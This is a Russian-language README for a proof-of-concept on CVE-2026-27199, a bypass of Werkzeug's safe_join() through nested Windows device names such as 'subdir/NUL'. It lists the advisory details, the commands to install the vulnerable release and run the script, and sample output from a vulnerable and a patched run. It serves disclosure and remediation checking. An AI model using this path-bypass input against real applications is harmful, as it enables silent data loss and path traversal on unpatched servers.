
Доказательство концепции эксплуатации для CVE-2026-27199, обход safe_join() в Werkzeug через имена устройств Windows, демонстрирующий обход пути и незаметное удаление данных.
safe_join() из WerkzeugСтатус: Публично раскрыто. Исправлено в werkzeug 3.1.6.
Серьёзность: Умеренная
Автор отчёта: @alimezar
Консультация: GHSA-29vq-49wr-vm6x
| Пакет | Затронуто | Исправлено |
|---|
| werkzeug | < 3.1.6 | 3.1.6 |
Требуется: Windows, Python 3.8+,
werkzeug < 3.1.6
pip install "werkzeug==3.1.5"
python poc_CVE-2026-27199.py
============================================================
CVE-2026-27199 — Werkzeug safe_join() PoC
============================================================
[*] Werkzeug version : 3.1.5
[*] os.name : nt
[+] safe_join(base, 'NUL') -> None (correctly blocked)
[!] safe_join(base, 'subdir/NUL') -> C:\...\subdir\NUL (bypass!)
[*] Attempting to write to the returned path ...
[!] open(nested NUL) write: SUCCESS — data silently discarded by device
[!] VULNERABLE: CVE-2026-27199 confirmed on this installation.
Upgrade to werkzeug >= 3.1.6 to remediate.
[+] safe_join(base, 'subdir/NUL') -> None (correctly blocked)
[+] NOT VULNERABLE: nested device name was blocked.
Данный PoC опубликован в образовательных и защитных целях после ответственного раскрытия и публичной доступности исправления.